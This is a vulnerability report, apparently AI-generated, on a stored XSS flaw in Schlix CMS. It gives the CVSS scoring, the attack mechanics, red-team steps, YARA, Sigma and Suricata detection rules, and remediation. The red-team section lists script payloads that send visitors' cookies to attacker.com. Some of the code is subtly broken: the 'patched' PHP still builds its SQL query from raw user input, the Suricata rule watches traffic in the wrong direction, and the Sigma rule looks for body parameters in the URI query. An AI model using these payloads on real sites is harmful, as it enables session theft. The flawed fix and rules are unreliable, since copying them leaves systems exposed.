CVE-2021-47834

Executive Summary

CVE-2021-47834 is a Persistent Cross-Site Scripting (XSS) vulnerability in Schlix CMS version 2.2.6-6. An authenticated attacker can inject arbitrary JavaScript into the category_title field when creating a new contact category. This payload is stored in the database and executed in the browser of any user (including administrators) who views the category list page. The vulnerability requires authentication but no special privileges beyond the ability to create categories. No official patch has been released by the vendor, making this a high-risk issue for any deployment using the affected version.

Supply Chain & Package Security

Schlix CMS is a standalone PHP application, not distributed via NPM, PyPI, Go, or Ruby. The risk is limited to direct server-side deployments. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must view the category page)
• Scope: Unchanged
• Confidentiality Impact: Low (potential cookie theft, page content access)
• Integrity Impact: Low (malicious actions on behalf of victim)
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the persistence of the XSS and the lack of a patch elevate the real-world risk. An attacker can use this to steal session cookies, perform admin actions, or deploy further client-side attacks.

Deep Dive & Mechanics

The vulnerability resides in the contact category creation functionality. When an authenticated user submits a new category via a POST request to /admin/contact/categories, the category_title parameter is stored directly into the database without sanitization or output encoding. When the category list is rendered (likely in /admin/contact/categories or a similar page), the stored value is echoed into the HTML without escaping, allowing script execution.

Attack Flow:

1. Attacker logs in as any user with category creation privileges.
2. Attacker navigates to the "Add Contact Category" form.
3. Attacker enters a payload such as <script>alert('XSS')</script> in the title field.
4. The payload is stored in the database.
5. When any user (including admin) visits the category list page, the script executes in their browser.

Root Cause: Lack of output encoding (e.g., htmlspecialchars() in PHP) when rendering the category title.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

// In admin/contact/categories.php (approximate)
$title = $_POST['category_title'];
$db->query("INSERT INTO categories (title) VALUES ('$title')");
// Later, when rendering:
echo "<td>" . $row['title'] . "</td>";

Patched Code (Hypothetical):

$title = htmlspecialchars($_POST['category_title'], ENT_QUOTES, 'UTF-8');
$db->query("INSERT INTO categories (title) VALUES ('$title')");
// When rendering:
echo "<td>" . $row['title'] . "</td>";

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A running instance of Schlix CMS 2.2.6-6.
• Valid credentials for a user with "create category" permission.

Exploit Steps:

1. Login to the admin panel.
2. Navigate to Contacts > Categories > Add New.
3. In the "Category Title" field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Click "Save".
5. Any user viewing the category list will have their cookies exfiltrated.

Alternative Payload (Session Hijacking):

<script>new Image().src='https://attacker.com/log?data='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP POST requests to /admin/contact/categories for suspicious category_title parameters containing <script>, onerror=, or javascript:.
• Review database entries in the categories table for HTML/JavaScript content.

Hardening (No Patch Available):

• Disable category creation for non-admin users.
• Implement a WAF rule to block XSS payloads in POST parameters.
• Manually patch by adding htmlspecialchars() to the rendering code.

Indicators of Compromise (IOCs)

• Network: HTTP POST to /admin/contact/categories with category_title containing <script> tags.
• File: Modified categories.php or contact.php files (if attacker gains file access).
• Database: Rows in categories table where title contains HTML/JavaScript.
• Logs: Access logs showing requests to /admin/contact/categories with unusual parameters.
• Cookie: Unexpected cookies set by malicious scripts (e.g., session=malicious).

Detection Engineering

YARA Rule

rule schlix_cms_xss_payload {
    meta:
        description = "Detects XSS payloads in Schlix CMS category titles"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-47834"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:\s*/i
    condition:
        any of them
}

Sigma Rule

title: Schlix CMS Persistent XSS in Category Title
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS payloads in Schlix CMS category creation requests
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: /admin/contact/categories
        cs-uri-query|contains|all:
            - 'category_title='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in category titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2021-47834 Schlix CMS Persistent XSS Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/admin/contact/categories";
    http_uri;
    content:"category_title=";
    http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2021-47834;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Category Creation: Restrict the ability to create contact categories to only trusted administrators.
2. Input Sanitization: Manually edit the PHP files to use htmlspecialchars() on the category_title before storage and output.
3. WAF Rules: Deploy a Web Application Firewall rule to block XSS patterns in POST parameters.

Long-Term Fix:

• Upgrade to a patched version if the vendor releases one.
• Consider migrating to a supported CMS if Schlix remains unpatched.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. All intelligence is based on publicly available data and should be verified before action.